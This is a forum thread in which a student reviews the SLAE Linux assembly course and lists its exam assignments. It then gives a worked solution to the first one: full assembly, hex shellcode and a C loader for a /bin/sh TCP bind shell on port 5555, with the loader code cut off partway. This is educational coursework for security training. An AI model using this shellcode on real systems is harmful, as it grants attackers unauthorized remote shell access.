SLAE - JollyFrogs' tale

JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
Last year, I completed the OSCP course. In recent weeks, my study buddy Mokaz emailed to ask if I was interested in joining him in the OSCE course. We had both completed OSCP around the same time and the idea sounded appealing but my current workload and commitments won't allow me to commence OSCE before July 2016.

I asked Mokaz if he had some good resources that he used to prepare, and he mentioned he had bought some books on Assembly, and also bought the SLAE course which he recommended as preparation to the OSCE course.

I looked up the SLAE course on-line and it seemed to fill the gap perfectly between OSCP and OSCE. The SLAE course (SecurityTube Linux Assembly Expert) teaches 32-bit low level Assembly programming, with a focus on security. The course comes with a free GDB course which I also enjoyed very much.

For people who are interested in doing the SLAE course, there are two options:
- 1) Completely free. You will need to promote the SLAE course on social networking sites after which you will be sent the courseware for FREE
- 2) Pay 150 US dollars for the full course including the PDF certificate. I personally chose this option as I'm not very active in the social networking world and 150 dollars sounded like a fair price. I don't even have a Twitter account - it's true!

The course is geared to people who have not programmed in Assembly and have little understanding of CPU, registers, memory and how the low level CPU works. I found that having some experience with Linux OS will slightly speed up the course as you won't have to look up what some of the Linux command do (sudo/cp/cd etc... - simple stuff), but it is not a requirement.

I got the SLAE materials shortly after paying for the course. The SLAE course comes in the form of videos, slides and a zip file containing the source codes for all modules. I didn't bother opening the slides because the course tutor Vivek is an excellent teacher and I was able to follow what he was explaining by using just the videos.

In the videos, Vivek is sitting in his living room (likely in his home) behind a laptop with a webcam. In the bottom right of the screen, you can see Vivek and somehow I really enjoyed this way of teaching. There were occasional moments where he would take a bottle and drink, or turn the air conditioning up (or down) or you could hear cars hooting in the background - but to me it just made the experience more personal and real. Vivek didn't cut out the mistakes he makes during compilation of source codes, and - as mentioned by Vivek in one of the videos - this is to show students how they can resolve issues they encounter.

My approach was to follow the video, and keep replaying the video until I fully understood all concepts - at times this meant I had to replay a certain part 3-4 times while I was taking notes in my Notepad++. Once I fully understood the concept(s), I would do all the steps that Vivek performed without going back to the videos. This worked well for me, but it certainly isn't the only way to do this course. Vivek mentions at multiple times during the video that there is not a single best way to approach a problem, and sometimes you can achieve the same result with different code. This is encouraged in the course.

The SLAE course consists of 2 parts with approx 18 modules per part and the GDB part which is another 15 or so modules

In the GDB part, I learnt how to use the GNU Debugger (GDB), whereas before I started the course I shunned away from GDB in favor of graphical debuggers like Immunity, OllyDbg and Evans debugger. I never used GDB because I didn't take the time to learn how it works but it's a great debugger once you get the feel of it. I suggest starting with the GDB part, as gdb is used throughout the course.

In part 1, I learnt about the various registers, the stack, CPU flags and the most popular Assembly instructions like MOV, LEA, PUSH, POP, CALL, etc. I also learnt how Assembly language uses the kernel to make system calls.

In part 2 I learnt about how shellcode works, how to analyze other people's shellcode, and how to write shellcode from scratch in assembly. I can now confidently write a (small) piece of Assembly code from scratch in a notepad editor which will compile in nasm without even looking at an example or text book - this is because Vivek taught the building blocks of the assembly code, and how everything interacts.

I thoroughly recommend doing this course if you are thinking about doing OSCE. I could have used a lot of this knowledge in my OSCP course and saved quite a bit of time. Even if you don't think about doing OSCE, I think that this course is absolutely worth a few days of your time - whether you pay the low price of 150 dollars or get it for free by tweeting the course on social networks.

The very last video in the course explains how the exam works. It is, very much like the OSCP and OSCE exams, a fully practical exam - no multiple questions.

Each student is given 7 assignments to complete at the end of the course. If you satisfactorily complete these assignments, then Vivek will send you a PDF with your certificate. I decided I wanted to certify so I will complete the assignments to try and get the certificate.

The instructions are simple:
- There are 7 Assignments of varying difficulty
- I need to post solutions to my personal blog - via wordpress.com, blogger, or my own domain
- I need to create a github account and store all my used code in my github account
- All code I create should be released under the creative commons license
- Every blog post must contain the following either at top or bottom:
"This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expect certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - <student ID>"

Sounds fair to me, so here are the assignments to pass the exam:

Assignment #1:
- Create a shell_bind_tcp assembly shellcode which:
- binds to a port
- execs shell on incoming connection
- The port number should be easily configurable (for instance via marked byte in shellcode, or a wrapper)

Assignment #2:
- Create a shell_reverse_tcp assembly shellcode which:
- Reverse connects to configured IP and Port
- Execs shell on successful connection
- IP and Port should be easily configurable

Assignment #3:
- Study Egg Hunter shellcode - Vivek wants pupils to research themselves how egg hunters work
- Create a working demo of an egghunter
- The egg hunter should be configurable for different payloads

Assignment #4:
- Create a custom encoding scheme like the "Insertion Encoder" I was showed in the course
- Proof of concept using execve-stack as the shellcode to encode with your scheme and execute

Assignment #5:
- Take up at least 3 shellcode samples created using msgpayload for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
- Present your analysis on each of the 3 shellcodes

Assignment #6:
- Take up 3 shellcodes from shell-storm and create polymorphic versions of them to beat pattern matching
- The polymorphic versions cannot be larger than 150% of the existing shellcode
- Bonus points for making the polymorphed code shorter in length than the original code

Assignment #7:
- Create a custom crypter like the one shown in the course
- Free to use any existing encryption schema like RC4 or AES
- Can use any programming language

The evaluation Criteria:
- Originality of shellcode - how much out of the box can you think?
- Quality of explanation - detailed and insightful and comprehensive analysis
- Each assignment carries 10 marks - need 50 marks
- Certification criteria: Need to score at least 50 of 70 marks
Extra points:
- Posting additional new shellcodes beyond the assignments (10 points)
- Shellcode submitted and accepted by (10 points):
- Shell-storm.org
- Exploit-db.com
- Community Interaction (5 points)
- Chatter on Twitter, Facebook
- Comments on Blog posts
- Tech forum

Submission format:
- Only the pupil's own work will be accepted - no copy/pasting
- Email to: -email removed for privacy and anti-spam purposes-
- Subject: SLAE Exam Blog Posts
- Email contains:
- Links to all 7 blog posts
- Link to GitHub account where code is stored
- Link to Shell-storm / Exploit-db submissions
- Link to Twitter/Facebook if posted there
- It takes around 5 working days to receive the result

So here's my plan - since I want to max out my score ideally:
- Keep a post with my progress on techexams.net - Max 5 points
- Complete all 7 assignments - Max 70 points
- Pst additional new shellcodes beyond the assignments - Max 10 points
- shellcode submitted and accepted by exploit-db.com - Max 10 points
Note: shell-storm.org does not accept new shellcode as explained by them:
"... we have stop (sic) to accept shellcodes because modern exploitation uses now (sic) ROP payloads"

I figured that submitting shellcode to exploit-db.com would take longest to complete, so I will start with this first. This also happens to be Assignment #1, so I need to make the code good enough so that it is accepted on exploit-db.com.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expect certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 747
«1

Comments

  • mongrelmongrel Member Posts: 7 ■□□□□□□□□□
    Great Jolly, I've been following your posts and deem it very educational.
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    Assignment #1:
    - Create a shell_bind_tcp assembly shellcode which:
    - binds to a port
    - execs shell on incoming connection
    - The port number should be easily configurable (for instance via marked byte in shellcode, or a wrapper)
    ==========================================
    ==========================================

    For this assignment, I decided to not return to the videos to see how the original bind shell was done by Vivek.
    I remember that Vivek used a syscall to create a socket, and then fed /bin/sh to it. I will use the same approach.

    First, I list all the syscalls in Linux:
    $ cat /usr/include/i386-linux-gnu/asm/unistd_32.h
    Note, there are so many calls, it is easier to grep for socket:
    $ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
    OUTPUT: #define __NR_socketcall 102
    Note: I know that this is a decimal number since the number is not prepended with 0x
    $ man 2 socketcall
    OUTPUT:
    SYNOPSIS:
    int socketcall(int call, unsigned long *args);
    DESCRIPTION
    socketcall() is a common kernel entry point for the socket system
    calls. call determines which socket function to invoke. args points
    to a block containing the actual arguments, which are passed through to
    the appropriate call.

    SEE ALSO
    accept(2), bind(2), connect(2), getpeername(2), getsockname(2), get-
    sockopt(2), listen(2), recv(2), recvfrom(2), recvmsg(2), send(2),
    sendmsg(2), sendto(2), setsockopt(2), shutdown(2), socket(2), socket-
    pair(2)

    So it seems socketcall isn't just a simple syscall; it's a syscall chain. Time for research.

    I found the following page to explain how a typical socket call works:
    Using Socket as a Server (Listening) Socket

    $ man 7 ip
    Note: This shows how to create a socket:
    Output: An IP socket is created by calling the socket(2) function as
    socket(AF_INET, socket_type, protocol). Valid socket types are
    SOCK_STREAM to open a tcp(7) socket, etc...
    The only valid values for protocol are 0 and IPPROTO_TCP for TCP sockets

    So in summary, this is what I want:
    - create socket
    - bind the socket to an IP and port
    - Listen for incoming connections
    - Accept incoming connections
    - Pass /bin/sh to new client socket using execve

    Note: The following command shows the call numbers
    $ cat /usr/include/linux/net.h
    Note: The following command confirms the TCP protocol number (0)
    $ cat /usr/include/netinet/in.h
    Note: IPPROTO_IP = 0, /* Dummy protocol for TCP. */

    Note: Reading through the man pages, I understood how to set up a socket
    However, in 'man 2 bind', it states "addrlen specifies the size,
    in bytes, of the address structure pointed to by addr". In my case, the address
    structure was 8 bytes in length. When I set addrlen to 8 bytes, the code worked
    and the socket was created but the socket was bound to a random number.

    Note: The following file provides a hint as to why the addrlen needs to be 16:
    $ cat /usr/include/linux/in.h
    ===============
    /* Structure describing an Internet (IP) socket address. */
    #define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */
    struct sockaddr_in {
    __kernel_sa_family_t sin_family; /* Address family */
    __be16 sin_port; /* Port number */
    struct in_addr sin_addr; /* Internet address */

    /* Pad to size of `struct sockaddr'. */
    unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) -
    sizeof(unsigned short int) - sizeof(struct in_addr)];
    };
    #define sin_zero __pad /* for BSD UNIX comp. -FvK */
    ===============
    It seems that Linux pads sockaddr_in to the size of sockaddr:

    $ cat /usr/include/i386-linux-gnu/bits/socket.h
    ===============
    /* Structure describing a generic socket address. */
    struct sockaddr
    {
    __SOCKADDR_COMMON (sa_); /* Common data: address family and length. */
    char sa_data[14]; /* Address data. */
    };
    ===============
    sockaddr has a size of 2 bytes + 14 bytes = 16 byte
    So even though sockaddr_in only uses 8 bytes, its size is cast to 16.
    In summary, 'addrlen' should be 16 and not 8.

    The pseudo-code for a bind-shell looks like this:
    ---
    sfd = socketcall.socket(int domain, int type, int protocol);
    sockaddr = (2, 5555, 0.0.0.0)
    socketcall.bind(sfd, pointer to sockaddr,16);
    socketcall.listen(int sockfd, int backlog)
    cfd = socketcall.accept(sfd, pointer to client-sockaddr or 0, sizeof(client-sockaddr) or 0);
    dup2(cfd, 0); duplicate stdin to client socket
    dup2(cfd, 1); duplicate stdout to client socket
    dup2(cfd, 2); duplicate stderr to client socket
    execve(/bin/sh,0,0) ; start /bin/sh with input/output duplicated into the socket
    ---

    And here is the assembly code I came up with - it is unoptimized:
    ;======================================================================
    global _start

    section .text
    _start:
    ; set up a stack frame with room for 5 double-words (20 bytes)
    push ebp ; backup ebp on the stack
    mov ebp, esp ; create a new stack window
    sub esp, 0x14 ; make room on stack for local variables

    ; parameters for SOCKET(2) are placed on the stack in reverse order
    ; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
    mov dword [ebp -0x10], 0x2 ; SOCKET(2) arg1: AF_INET
    mov dword [ebp -0xc], 0x1 ; SOCKET(2) arg2: SOCK_STREAM
    mov dword [ebp -0x8], 0x0 ; SOCKET(2) arg3: TCP

    ; invoke socketcall to create the socket
    mov eax, 0x66 ; socketcall syscall (102)
    mov ebx, 0x1 ; SOCKET(2)
    lea ecx, [ebp-0x10] ; address of parameter array
    ; ECX will point to stack which should look like:
    ; 02 00 00 00 01 00 00 00 00 00 00 00
    ; ^AF_INET ^S_STREAM ^TCP
    int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)
    mov [ebp-0x14], eax ; store fd on stack so I can refer to it

    ; parameters for BIND(2) are placed on the stack in reverse order
    ; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
    ; note that BIND(2)_arg1 sockfd is already stored in [ebp-0x14]
    lea esi, [ebp-0x8]
    mov [ebp-0x10], esi ; BIND(2)_arg2: pointer to sockaddr struct
    mov dword [ebp-0xc], 0x10 ; BIND(2)_arg3: length of sockaddr struct
    mov word [ebp-0x8], 0x2 ; BIND(2)_sockaddr_1: AF_INET
    mov word [ebp-0x6], 0xB315 ; BIND(2)_sockaddr_2: IN_PORT in reverse order
    mov dword [ebp-0x4], 0x0 ; BIND(2)_sockaddr_3: IN_ADDR any

    ; invoke socketcall to bind the socket to IP and port
    mov eax, 0x66 ; socketcall syscall (102)
    mov ebx, 0x2 ; BIND(2)
    lea ecx, [ebp-0x14] ; address of parameter array which starts with *fd
    ; ECX will point to stack which should look like:
    ; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
    ; ^FD ^ PTR to -> ^structlen ^AFNT ^port ^in_addr
    int 0x80 ; SYSCALL SOCKETCALL(2)-BIND(2)

    ; parameters for LISTEN(2) are placed on the stack in reverse order
    ; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
    ; note that LISTEN(2)_arg1 sockfd is already stored in [ebp-0x14]
    mov dword [ebp-0x10], 0x0 ; LISTEN(2)_arg2: Backlog (connection queue size)

    ; invoke socketcall to set the socket in listen mode
    mov eax, 0x66 ; socketcall syscall (102)
    mov ebx, 0x4 ; LISTEN(2)
    lea ecx, [ebp-0x14] ; address of parameter array which starts with *fd
    int 0x80 ; SYSCALL SOCKETCALL(2)-LISTEN(2)
    ; Note: The selected port is opened on the system and listening

    ; parameters for ACCEPT(2) are placed on the stack in reverse order
    ; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    ; note that ACCEPT(2)_arg1 sockfd is already stored in [ebp-0x14]
    mov dword [ebp-0x10], 0x0 ; ACCEPT(2)_arg2: address of the connecting peer.
    mov dword [ebp-0xc], 0x0 ; ACCEPT(2)_arg3: length of ACCEPT(2)_arg2.

    ; invoke socketcall to set the socket to accept connections
    mov eax, 0x66 ; socketcall syscall (102)
    mov ebx, 0x5 ; ACCEPT(2)
    lea ecx, [ebp-0x14] ; address of parameter array which starts with *fd
    int 0x80 ; SYSCALL SOCKETCALL(2)-ACCEPT(2)
    mov [ebp-0x10], eax ; store client socket fd on stack so I can refer to it
    ; ^ note, I can directly copy eax into ebx for the next instruction
    ; note: ebp-0x14 = server socket fd
    ; note: ebp-0x10 = client socket fd

    ; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
    ; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
    mov ebx, [ebp-0x10] ; client socket fd
    mov ecx, 00000002 ; initiate the loop counter at 2 = stderr
    mov eax, 0x3f ; DUP2(2)
    int 0x80 ; SYSCALL DUP2(2)

    mov ecx, 00000001 ; initiate the loop counter at 1 = stdout
    mov eax, 0x3f ; DUP2(2)
    int 0x80 ; SYSCALL DUP2(2)

    mov ecx, 00000000 ; initiate the loop counter at 0 = stdin
    mov eax, 0x3f ; DUP2(2)
    int 0x80 ; SYSCALL DUP2(2)

    mov eax, 11 ; EXECVE(2)
    ; execve(/bin//sh,0,0)
    push 0 ; null byte
    push 0x68732f2f ; "//sh"
    push 0x6e69622f ; "/bin"

    mov ebx, esp ; ptr to "/bin//sh" string
    mov ecx, 0 ; null ptr to argv
    mov edx, 0 ; null ptr to envp

    int 0x80 ; Start /bin/sh in the client socket FD

    ; Note: since execve takes over, there is no need to close the socket
    ; mov eax, 0x6 ; CLOSE(2)
    ; mov ebx, [ebp-0x14] ; load socket fd
    ; int 0x80 ; SYSCALL CLOSE(2)
    ; add esp, [ebp-0x14] ; restore ESP to pre-stackframe value
    ; pop ebp ; restore EBP to pre-stackframe value
    ;======================================================================

    $ nasm -f elf32 -o bindshell.o bindshell.nasm | ld -o bindshell bindshell.o
    $ gdb bindshell -ex 'break _start' -ex 'run' -ex 'display/16b $ecx'
    $ ./bindshell

    In another terminal, I can connect to the localhost on port 5555.
    So my assembly code works, however I'm not there yet.

    Shellcode can not have zero values in it, so I need to remove any zeroes from the shellcode

    ;======================================================================
    ; Filename: bindshell.nasm
    ; Author: JollyFrogs ([email protected])
    ; Purpose: This shell creates a /bin/sh bind-shell on port 5555
    ; Size: 100 Bytes
    ;
    ; License: This work is licensed under a Creative Commons
    ; Attribution-NonCommercial 4.0 International License.

    global _start

    section .text
    _start:
    ; parameters for SOCKET(2) are placed on the stack in reverse order
    ; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
    ; Before instruction "int 0x80" the stack should look like:
    ; 02 00 00 00 01 00 00 00 00 00 00 00
    ; ^AF_INET ^S_STREAM ^TCP

    xor eax, eax ; set EAX to 00000000
    push eax ; PUSH 00000000 (TCP)
    inc eax ; EAX = 00000001
    push eax ; PUSH 00000001 (SOCK_STREAM)
    inc eax ; EAX = 00000002
    push eax ; PUSH 00000002 (AF_INET)

    ; invoke socketcall to create the socket
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)

    xor ebx, ebx ; EBX = 00000000
    inc ebx ; EBX = 00000001 (SOCKETCALL.SOCKET)

    mov ecx, esp ; ECX = points to top of stack

    int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)

    mov edi, eax ; store fd in edi

    ; parameters for BIND(2) are placed on the stack in reverse order
    ; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
    ; Before instruction "int 0x80" the stack should look like:
    ; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
    ; ^FD ^ ^structlen ^AFNT ^port ^in_addr
    ; | PTR to
    ^

    pop ebx ; EBX = 00000002 (SOCKETCALL.BIND)
    pop eax ; EAX = 00000001
    salc ; EAX = 00000000
    push eax ; PUSH 00000000 (sockaddr_1)
    mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed)
    push ax ; PUSH B315 (sockaddr_2)
    push bx ; PUSH 0002 (sockaddr_3)
    mov ecx, esp ; ECX = ESP
    xor eax, eax ; EAX = 00000000
    mov al, 0x10 ; EAX = 00000010
    push eax ; PUSH 00000010 (len(sockaddr))
    push ecx ; PUSH (*ADDR) (ptr to sockaddr)
    push edi ; push (FD) (SOCKFD)

    ; invoke socketcall to bind the socket to IP and port
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
    mov ecx, esp ; ECX = points to top of stack

    int 0x80 ; SYSCALL SOCKETCALL(2)-BIND(2)

    ; parameters for LISTEN(2) are placed on the stack in reverse order
    ; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
    ; Before instruction "int 0x80" the stack should look like:
    ; 07 00 00 00 00 00 00 00
    ; ^FD ^Backlog = 0
    salc ; EAX = 00000000
    push eax ; PUSH 00000000 (Backlog)
    push edi ; PUSH (FD) (SOCKFD)

    ; invoke socketcall to set the socket in listen mode
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
    inc ebx ; EBX = 00000003
    inc ebx ; EBX = 00000004 (SOCKETCALL.LISTEN)
    mov ecx, esp ; ECX = points to top of stack
    int 0x80 ; SYSCALL SOCKETCALL(2)-LISTEN(2)
    ; Note: The selected port is opened on the system and listening

    ; parameters for ACCEPT(2) are placed on the stack in reverse order
    ; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    ; Before instruction "int 0x80" the stack should look like:
    ; 07 00 00 00 00 00 00 00 00 00 00 00

    ; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
    push eax ; PUSH 00000000
    push eax ; PUSH 00000000
    push edi ; PUSH (FD) (SOCKFD)

    ; invoke socketcall to set the socket to accept connections
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
    inc ebx ; EBX = 00000005 (SOCKETCALL.ACCEPT)
    mov ecx, esp ; ECX = points to top of stack
    int 0x80 ; SYSCALL SOCKETCALL(2)-ACCEPT(2)

    ; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
    ; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
    xchg eax, ebx ; EBX = CFD, EAX = 00000005
    xor ecx, ecx ; ECX = 00000000
    mov cl, 3 ; ECX = 00000003

    redirect:
    dec ecx ; ECX = 00000002
    mov al, 0x3f ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
    int 0x80 ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
    jnz redirect ;

    ; spawn /bin/sh shell
    salc ; EAX = 00000000
    push eax ; PUSH 00000000 (NULL byte)
    pop ecx ; ECX = 00000000 (EXECVE ARGV)
    push eax ; PUSH 00000000 (NULL byte)
    pop edx ; EDX = 00000000 (EXECVE ENVP)

    ; push '/bin//sh, 0' on stack
    push eax ; PUSH 00000000 (NULL byte)
    mov al, 11 ; EXECVE(2)
    push 0x68732f2f ; "//sh"
    push 0x6e69622f ; "/bin"

    mov ebx, esp ; ptr to "/bin//sh" string

    int 0x80 ; Start /bin/sh in the client socket FD
    ;======================================================================


    I then optimized the code above by removing unneeded pieces of code, and reusing stack values.
    ;======================================================================
    ; Filename: bind5555.nasm
    ; Author: JollyFrogs ([email protected])
    ; Purpose: This shellcode creates a /bin/sh TCP bind-shell on port 5555
    ; Size: 87 Bytes
    ;
    ; License: This work is licensed under a Creative Commons
    ; Attribution-NonCommercial 4.0 International License.
    ;
    ; To change the port, change the bytes "\x15\xb3" (5555 in reverse order)
    ;
    ; Compilation:
    ; nasm -f elf32 -o bind5555.o bind5555.nasm | ld -o bind5555 bind5555.o

    global _start

    section .text
    _start:
    ; Note: parameters are placed on the stack in reverse order due to little endianness
    ;
    ; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
    ; Before instruction "int 0x80" the stack should look like:
    ; 02 00 00 00 01 00 00 00 00 00 00 00
    ; ^AF_INET ^S_STREAM ^TCP

    xor eax, eax ; EAX = 00000000
    push eax ; PUSH 00000000 (TCP)
    inc eax ; EAX = 00000001
    push eax ; PUSH 00000001 (SOCK_STREAM)
    pop ebx ; EBX = 00000001 (SOCKETCALL.SOCKET)
    push eax ; PUSH 00000001 (SOCK_STREAM)
    inc eax ; EAX = 00000002
    push eax ; PUSH 00000002 (AF_INET)

    ; invoke socketcall to create the socket
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)

    mov ecx, esp ; ECX = points to top of stack (0xBFFFF3E4)

    int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)

    xchg edi, eax ; store fd in edi

    ; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
    ; Before instruction "int 0x80" the stack should look like:
    ; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
    ; ^FD ^ ^structlen ^AFNT ^port ^in_addr
    ; | PTR to
    ^

    pop ebx ; EBX = 00000002 (SOCKETCALL.BIND)
    pop eax ; EAX = 00000001
    ; Note: Stack = 00000000
    mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed)
    push ax ; PUSH B315 (sockaddr_2)
    push bx ; PUSH 0002 (sockaddr_3)
    mov ecx, esp ; ECX = ESP (0xBFFFF3Eicon_cool.gif
    xor eax, eax ; EAX = 00000000
    mov al, 0x10 ; EAX = 00000010
    push eax ; PUSH 00000010 (len(sockaddr))
    push ecx ; PUSH (*ADDR) (ptr to sockaddr)
    push edi ; push (FD) (SOCKFD)

    ; invoke socketcall to bind the socket to IP and port
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
    mov ecx, esp ; ECX = points to top of stack (0xBFFFF3DC)

    int 0x80 ; SYSCALL SOCKETCALL(2)-BIND(2)

    ; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
    ; Before instruction "int 0x80" the stack should look like:
    ; 07 00 00 00 00 00 00 00
    ; ^FD ^Backlog = 0

    ; Note that EAX = 00000000 due to return code from SOCKETCALL above
    push eax ; PUSH 00000000 (Backlog)
    push edi ; PUSH (FD) (SOCKFD)

    ; invoke socketcall to set the socket in listen mode
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
    inc ebx ; EBX = 00000003
    inc ebx ; EBX = 00000004 (SOCKETCALL.LISTEN)
    mov ecx, esp ; ECX = points to top of stack (0xBFFFF3D4)
    int 0x80 ; SYSCALL SOCKETCALL(2)-LISTEN(2)
    ; Note: The selected port is now open on the system and listening

    ; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    ; Before instruction "int 0x80" the stack should look like:
    ; 07 00 00 00 00 00 00 00 00 00 00 00

    ; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
    ; Note that stack at 0xBFFFF3D4 already contains what I need:
    ; 07 00 00 00 00 00 00 00 00 00 00 00
    ; invoke socketcall to set the socket to accept connections
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
    inc ebx ; EBX = 00000005 (SOCKETCALL.ACCEPT)
    int 0x80 ; SYSCALL SOCKETCALL(2)-ACCEPT(2)

    ; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
    ; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
    xchg eax, ebx ; EBX = CFD, EAX = 00000005
    xchg ecx, edi ; ECX ~= 00000007 (or higher, does not matter)
    ; XCHG ECX, EDI saves us having to zero ecx and set it to 3

    reduceecxtozero:
    dec ecx ; eventually, ECX = 00000002
    mov al, 0x3f ; DUP2(2) (ECX 2=stderr,1=stdout,0=stdin)
    int 0x80 ; SYSCALL DUP2(2)
    jnz reduceecxtozero ; Until ECX = 0 meaning stdin was DUP2'd

    ; spawn /bin/sh shell
    ; Note that EAX is set to 00000000 upon last succesful execution of DUP2
    push eax ; PUSH 00000000 (NULL byte)
    push eax ; PUSH 00000000 (NULL byte)
    pop ecx ; ECX = 00000000 (EXECVE ARGV)
    pop edx ; EDX = 00000000 (EXECVE ENVP)

    ; push '/bin//sh, 0' on stack
    push eax ; PUSH 00000000 (NULL byte)
    mov al, 0xb ; EXECVE(2)
    push 0x68732f2f ; "//sh"
    push 0x6e69622f ; "/bin"

    xchg esp, ebx ; Save a byte by sacrificing unneeded ESP

    int 0x80 ; Start /bin/sh in the client socket FD

    ; Shellcode:
    ;"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
    ;"\x5b\x58\x66\xb8\x15\xb3\x66\x50\x66\x53\x89\xe1\x31\xc0\xb0\x10"
    ;"\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x50\x57\xb0\x66\x43\x43\x89"
    ;"\xe1\xcd\x80\xb0\x66\x43\xcd\x80\x93\x87\xcf\x49\xb0\x3f\xcd\x80"
    ;"\x75\xf9\x50\x59\x50\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f"
    ;"\x62\x69\x6e\x87\xe3\xcd\x80"

    ; Note: If you get a "Segmentation fault (core dumped), please wait until the
    ; socket is freed. This typically takes 60 seconds on Linux.
    ;======================================================================

    Note: To get the shellcode of the program, I use this piece of excellent command-line-fu:
    Get all shellcode on binary file from objdump | commandlinefu.com

    $ objdump -d ./bind5555|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -dicon_neutral.gifcut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'


    I create a small piece of C-code to load the shellcode:

    /*===================================================================*/
    /*
    Filename: bindshell.c
    Author: JollyFrogs ([email protected])

    License: This work is licensed under a Creative Commons
    Attribution-NonCommercial 4.0 International License.

    Compile:
    gcc -m32 -fno-stack-protector -z execstack bindshell.c -o bindshell
    */

    #include <stdio.h>
    #include <string.h>
    #include <stdbool.h>

    unsigned char shellcode[] = \
    "\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
    "\x5b\x58\x66\xb8\x15\xb3\x66\x50\x66\x53\x89\xe1\x31\xc0\xb0\x10"
    "\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x50\x57\xb0\x66\x43\x43\x89"
    "\xe1\xcd\x80\xb0\x66\x43\xcd\x80\x93\x87\xcf\x49\xb0\x3f\xcd\x80"
    "\x75\xf9\x50\x59\x50\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x87\xe3\xcd\x80";

    static bool shellcode_zerocheck() {
    // initialize counter
    int i = 0;
    // check each byte in shellcode array for hexidecimal zero value, return false if zero found
    for(i = 0; i < sizeof(shellcode)-1; i++) {if (shellcode == '\x00') return false;}
    // Return true if no zeroes found
    return true;
    }

    static bool shellcode_setport(char *buf, int port) {
    // Check if decimal port is valid
    if (port<1024 || port>65535) return false;
    // The offset of the port is 21, but reduce by 1 since the array counts from 0
    int shellcode_port_offset = 20; // (\x15\xb3)
    // convert decimal port to hexidecimal
    *(short *)(buf+shellcode_port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
    // Swap port bytes to accomodate for Little Endian memory structure
    char tmp = buf[shellcode_port_offset];
    buf[shellcode_port_offset] = buf[shellcode_port_offset+1];
    buf[shellcode_port_offset+1] = tmp;
    // Check if the hexidecimal port contains zeroes, if it does then show an error
    if (shellcode[20] == '\x00' || shellcode[21] == '\x00') {
    printf("port HEX contains zeroes\n"); return false;
    }
    // Return true if all checks passed
    return true;
    }

    main () {
    // Port in decimal - should be higher than 1024 and lower than 65536
    int port = 1234;
    // Basic error checking
    if (!shellcode_setport(shellcode, port)) {printf("ERROR: Invalid port\n");return 0;}
    if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
    // Print shellcode length.
    printf("Shellcode Length: %d\n", strlen(shellcode));
    // Run assembly commands
    __asm__ (
    // Initialize registers
    "movl $0x12345678, %eax\n\t"
    "movl $0x12345678, %ebx\n\t"
    "movl $0x12345678, %ecx\n\t"
    "movl $0x12345678, %edx\n\t"
    "movl $0x12345678, %edi\n\t"
    "movl $0x12345678, %esi\n\t"
    "movl $0x12345678, %ebp\n\t"
    // execute shellcode
    "jmp shellcode");
